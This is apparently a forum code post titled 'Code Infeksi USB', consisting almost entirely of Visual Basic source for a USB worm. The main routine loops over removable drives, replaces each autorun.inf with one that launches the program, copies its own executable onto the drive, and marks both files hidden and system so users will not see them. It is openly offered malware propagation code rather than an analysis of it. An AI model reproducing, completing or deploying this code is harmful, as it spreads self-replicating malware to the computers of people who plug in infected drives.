Code Infeksi USB

Visual Basic

Code: Select all

Public Function InfeksiUSB(DigitalCat As String, AD As String)
Dim FSO, USBCatLER, USBCat

Set FSO = CreateObject("SCRIPTING.FILESYSTEMOBJECT")
Set USBCatLER = FSO.DRIVES
For Each USBCat In USBCatLER
If USBCat.DRIVETYPE = 1 Then 'EGER SILINEBILIR ISE

If Right(YOL, 1) <> "\" Then DigitalCat= DigitalCat& "\"

If DigitalUSB(USBCat & "\autorun.inf") Then
SetAttr USBCat & "\autorun.inf", 0
Kill USBCat & "\autorun.inf"
End If

Open USBCat & "\autorun.inf" For Append As #1
Print #1, "[autorun]" & vbCrLf & _
"open=" & USBCat & "\" & AD
Close #1

If Not DigitalUSB(USBCat & "\" & AD) Then
FileCopy DigitalCat& AD, USBCat & "\" & AD
End If

SetAttr USBCat & "\" & AD, 4
SetAttr USBCat & "\autorun.inf", 4
SetAttr USBCat & "\" & AD, 2
SetAttr USBCat & "\autorun.inf", 2
End If
Next

End Function

Public Function DigitalUSB(DosyaAdi As String) As Boolean
On Error GoTo CekUSB
Call FileLen(DosyaAdi)
DigitalUSB = True
Exit Function
CekUSB:
End Function

Sub Main()
InfeksiUSB App.Path, App.EXEName & ".exe"
End Sub